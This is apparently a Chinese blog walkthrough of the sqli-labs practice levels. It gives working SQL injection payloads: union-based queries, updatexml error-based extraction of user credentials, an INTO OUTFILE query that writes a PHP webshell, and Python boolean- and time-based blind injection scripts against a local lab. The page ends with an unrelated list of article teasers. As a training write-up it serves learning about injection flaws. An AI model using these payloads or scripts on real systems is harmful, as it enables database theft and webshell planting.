渗透小游戏,各个关卡的渗透实例
Less-1
首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据
首先,如果想要进入内部,就要绕过,首先是用 ’ 绕过,当然,绕过后会有一个 ’ 空余,所以要 “- -空格”或者“–+”来注释掉,然后通过联合查询来查询到用户权限和数据库名
这里“+”号回自动转换为“空格”,所以可以用“–+”来注释,但,也因为如此,当真正想使用“+”号时,“+”号会变成“空格”,所以,但想使用“+”号时,要用“%2b”,“%2b”就是“+”号的意思。
?id=-1' union select 1 ,user(),database()--+
因为该网页代码id输入有 ’ ’ ,是字符型注入,要单,双引号闭合,所以要 ’ 来绕过。接下来,按照相同的操作,查询出列名,表明和库名,就能进行登录了
注意:一般数据库创建的时候,都会创建“information_chema”“mysql”“performance_chema”这3个库
Less-2
先看看源代码
这个一眼就知道,是数字型注入,不用单,双引号,所以可以直接进行注入
?id=-1 union select 1 ,user(),database()--+
对比上一题,少输一个 ’ ,表示不用 ’ 来绕过,直接注入就行
Less-5
先查看代码:
看到error,明显应该使用报错注入
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--+
这里我使用updatexml报错函数来注入输出,通过错误报告来显示想要查询的信息,但是,注意:这个输出只能输出32个字节,所以想要查询到后面的数据,可以用substr函数来设置输出字段,如下图:
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--+
updatexml报错注入:
使用有三个参数(XML_document,XPath_string,new_value)
第一个参数:XML_document
是String格式,为XML文档对象的名称,文中为Doc(XML的内容)
第二个参数:XPath_string
(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程(是需要update的位置XPATH路径)
第三个参数:new_value
,String格式,替换查找到的符合条件的数据(是更新后的内容)
注意:第一,三个参数可以随便写,主要利用的还是第二个参数(第二个参数需要Xpath格式的字符串,以 “~” 开头的内容不是xml格式的语法,所以 “~” 用0x7e表示,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果一错误的方式报出,这样就可以实现报错注入了)
Less-6
和Less-5题还是一样的
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
Less-7
mysql如何导出webshell,如何上传webshell:
运用outfile函数
还要3个条件,条件苛刻
1、mysql用户权限必须为root
2、必须知道网站的物理路径,使自己能够知道并访问
3、secure_file_priv为空,表示可以导到任何目录下面
但是我的secure_file_priv文件有目录,只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\
中,不能导入到指定文件,无法复现。
如果正常secure_file_priv文件中没有代码的话,可以用以下代码进行导出:
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli/webshell.php";--+
其中“D:/phpstudy_pro/www/sqli/webshell.php”是我自己定义的导出路径,这个你可以根据自己喜好,自己填写要导出到哪里
Less-8
根据输入反馈的结果,可以知道,该页面只有正确时才会显示,输入错误就什么都不显示,那么就可以使用布尔盲注来解决。
这里我们可以试试自己编写脚本来完成,以下是完成截图和代码:
import requestsurl = 'http://127.0.0.1/sqli/Less-8/index.php'#题目Less-8的路径def inject_database(url):name = ''#存储将要输出的字符for i in range(1, 20):#输出字段的字长for j in range(32, 129):#默认显示的字符从32到127,这里我选择129,表示后续没有字符,其实写128也可以payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)#将databases里面的第一个字截取出来并转换成数值,和j(即%d,每个数字代表对应的字符)进行比较,如果等于则输出res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)
这个方法是暴力破解法,用来两个循环,相对来说还是很慢的
还有一个方法,二分查找法,相对来说速度更快
import requests
def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res = {"id": payload}r = requests.post(url, params=res)if "You are in..........." in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
当然,后续要查找其他用户,表明之类的只要改一下payload的查询就行
注意:查询代码过长时,要注意括号的规范,我经常因为括号多写或者少写而报错
Less-9
这一题和上一题又有些不同,他无论输入对还是错都只显示一个页面,对于这种反馈,我们可以试试时间盲注
如果输入数据正确,则沉睡3秒或1秒(自己定义沉睡几秒),否则不沉睡
import time
import requests
def inject_database(url):name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.post(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
基本还是差不多的代码,只不过加了个时间限制
这个截图无法展示,自己可以去试试,结果是在1s后运行出来的。
Less-11
查看源代码,发现用户名是字符串输出,那么就可以通过 ’ 绕过来获取信息
输入:a' union select 1,user()#
查询用户权限
成功查到是root权限
查其他的也行,同样的在用户名输入界面更改代码就行
a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+
Less-13
其实这个和之前的一样,输入错误的话会有报错,那么就可以用报错注入
a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
Less-15
登录成功和失败都只返回图片
还是编写脚本来试试看:
import requestsurl = 'http://127.0.0.1/sqli/Less-15/index.php'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:data = {"uname": "admin' and ascii(substr(database(), %d, 1)) > %d#" % (i, mid), "passwd": "aaaaaa"}r = requests.post(url, data=data)if "flag.jpg" in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
可以成功获得结果
相关文章:

渗透小游戏,各个关卡的渗透实例
Less-1 首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据 首先,如果想要进入内部,就要绕过,首先是用…...

SpringBoot集成阿里百炼大模型(初始demo) 原子的学习日记Day01
文章目录 概要下一章SpringBoot集成阿里百炼大模型(多轮对话) 原子的学习日记Day02 整体架构流程技术名词解释集成步骤1,选择大模型以及获取自己的api-key(前面还有一步开通服务就没有展示啦!)2,…...
高级java每日一道面试题-2024年8月06日-web篇-cookie,session,token有什么区别?
如果有遗漏,评论区告诉我进行补充 面试官: cookie,session,token有什么区别? 我回答: 在Web开发中,cookie、session和token是三种常见的用于用户身份验证和会话管理的技术。它们各自有不同的用途和优缺点,下面将详细解释: 1. Cookie 定…...
Python 图文:小白也能轻松生成精美 PDF 报告!
摘要: 还在为枯燥的数据报表发愁吗?想让你的 Python 项目报告瞬间高大上?本文将带你学习如何使用 Python 生成图文并茂的 PDF 文件,从此告别单调,让你的数据“活”起来! 一、 引言 想象一下,你正在为公司…...

AQS的ReentrantLock源码
什么是AQS(全称AbstractQueuedSynchronizer) 代表:重入锁、独占锁/共享锁、公平锁/非公平锁 是JUC包中线程阻塞、阻塞队列、唤醒、尝试获取锁的一个框架 AbstractQueuedSynchronizer是全称,是一个模板模式,一些线程…...

CSP-J 模拟题2
如果x大于45,则输出-1 设定一个整数now,他的初始值为9; 当x>now,就x-now,并且now--; 根据解析写代码1: #include <bits/stdc.h> using namespace std; int a[101010]; int main(){int x;cin>…...

途牛养车省养车平台源码 买卖新车租车二手车维修装潢共享O2O程序源码
源码采用FastAdmin框架开发,功能成熟完善,已有成功案例。 业务涵盖保险、二手车、接送、拖车、租车、保养、维修、入驻等连接线上等基础和深度服务。 采用的是“线上 车主直控社区加盟店” 模式,其主要考虑是布局门店有助于让目标消费用户…...
开发中遇到的gzuncompress,DomDocument等几个小问题以及一次Php上线碰到的502问题及php异常追踪
一、开发中遇到的gzuncompress,DomDocument等几个小问题记在此 1,昨天在命令行模式行运行一个很复杂的程序,一开始执行php,刚刚连接数据库,都没怎么查几条记录,(publish:October 27, 2017 -Fridayÿ…...

【Material-UI】Button 组件中的基本按钮详解
文章目录 一、基本按钮变体1. 文本按钮(Text Button)2. 实心按钮(Contained Button)3. 轮廓按钮(Outlined Button) 二、应用场景与注意事项1. 使用场景2. 注意事项 三、总结 Material-UI 的 Button 组件是前…...

人工智能自动驾驶三维车道线检测—PersFormer模型代码详解
文章目录 1. 背景介绍2. 数据加载和预处理3. 模型结构4. Loss计算5. 总结和讨论 1. 背景介绍 梳理了PersFormer 3D Lane这篇论文对应的开源代码。 2. 数据加载和预处理 数据组织方式参考:自动驾驶三维车道线检测系列—OpenLane数据集介绍。 坐标系参考ÿ…...

LangChain +Streamlit+ Llama :将对话式人工智能引入您的本地设备成为可能(上篇)
🦜️ LangChain Streamlit🔥 Llama 🦙:将对话式人工智能引入您的本地设备🤯 将开源LLMs和LangChain集成以进行免费生成式问答(不需要API密钥) 在过去的几个月中,大型语言模型(LLMs)得…...

sql注入部分总结和复现
一个端口对应一个服务 联合查询注入 所有的程序中,单双引号必须成对出现 需要从这个引号里面逃出来 在后面查询内容 ?id1 要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询 order by # 通过二分法…...

开源企业级后台管理的快速启动引擎:Ballcat
Ballcat:快速搭建,高效管理,Ballcat让企业后台开发更简单。 - 精选真开源,释放新价值。 概览 Ballcat,一个专为企业级后台管理而设计的快速开发框架,以其高效的开发模式和全面的安全特性,为开发…...

FashionAI比赛-服饰属性标签识别比赛赛后总结(来自 Top14 Team)
关联比赛: FashionAI全球挑战赛—服饰属性标签识别 推荐大家看本篇博客之前,看一下数据集制作的方法,如何做一个实用的图像数据集 PS:我是参加完比赛之后才看的,看完之后,万马奔腾.....,因为发现比赛中还…...

C语言 | Leetcode C语言题解之第319题灯泡开关
题目: 题解: int bulbSwitch(int n) {return sqrt(n 0.5); }...

【第十届泰迪杯数据挖掘挑战赛A题害虫识别】-农田害虫检测识别-高精度完整更新
农田害虫检测识别项目-高精度完整版 一、说明: 该版本为基于泰迪杯完整害虫数据重新制作数据集、优化增强数据集、重新进行模型训练,达到高精度、高召回率的最优模型代码。包含论文、最优模型文件以及相关文件、原始数据集、训练数据集XML版、增强扩充…...

【Linux】—— Linux进程状态(R、S、D、T、Z、X)
🌏博客主页:PH_modest的博客主页 🚩当前专栏:Linux跬步积累 💌其他专栏: 🔴 每日一题 🟡 C跬步积累 🟢 C语言跬步积累 🌈座右铭:广积粮࿰…...
重生之我在NestJS中使用EventStream
有一个需求是需要长连接等待后台的返回,我们使用的EventStream,在NestJS中使用很简单,框架基本上已经封装好了 0. 如果没有创建项目的,可以先创建一个项目,创建项目的直接跳转到下一个步骤去 全局安装 nest: npm inst…...

自动化工具Selenium IDE基本使用——脚本录制
1 简介 Selenium相信大家都知道,在做自动化操作时,要使用浏览器驱动直接控制浏览器操作的时候,大多会结合Selenium框架使用。 但在对网页操作自动化的时候,实际上有一种更轻量的做法,那就是直接使用Selenium IDE&…...
【第十一天】进程调度算法,进程间通信方式,进程同步和互斥
进程调度算法有哪些 进程调度算法是操作系统中用来管理和调度进程(任务,作业)执行的方法。这些方法决定了在多任务环境下,如何为各个进程分配CPU时间,以实现公平性、高吞吐量、低延迟等目标。 先到先服务调度算法&am…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
云计算——弹性云计算器(ECS)
弹性云服务器:ECS 概述 云计算重构了ICT系统,云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台,包含如下主要概念。 ECS(Elastic Cloud Server):即弹性云服务器,是云计算…...
树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频
使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析
这门怎么题库答案不全啊日 来简单学一下子来 一、选择题(可多选) 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘:专注于发现数据中…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...
GitHub 趋势日报 (2025年06月08日)
📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...

基于SpringBoot在线拍卖系统的设计和实现
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 在线拍卖系统,主要的模块包括管理员;首页、个人中心、用户管理、商品类型管理、拍卖商品管理、历史竞拍管理、竞拍订单…...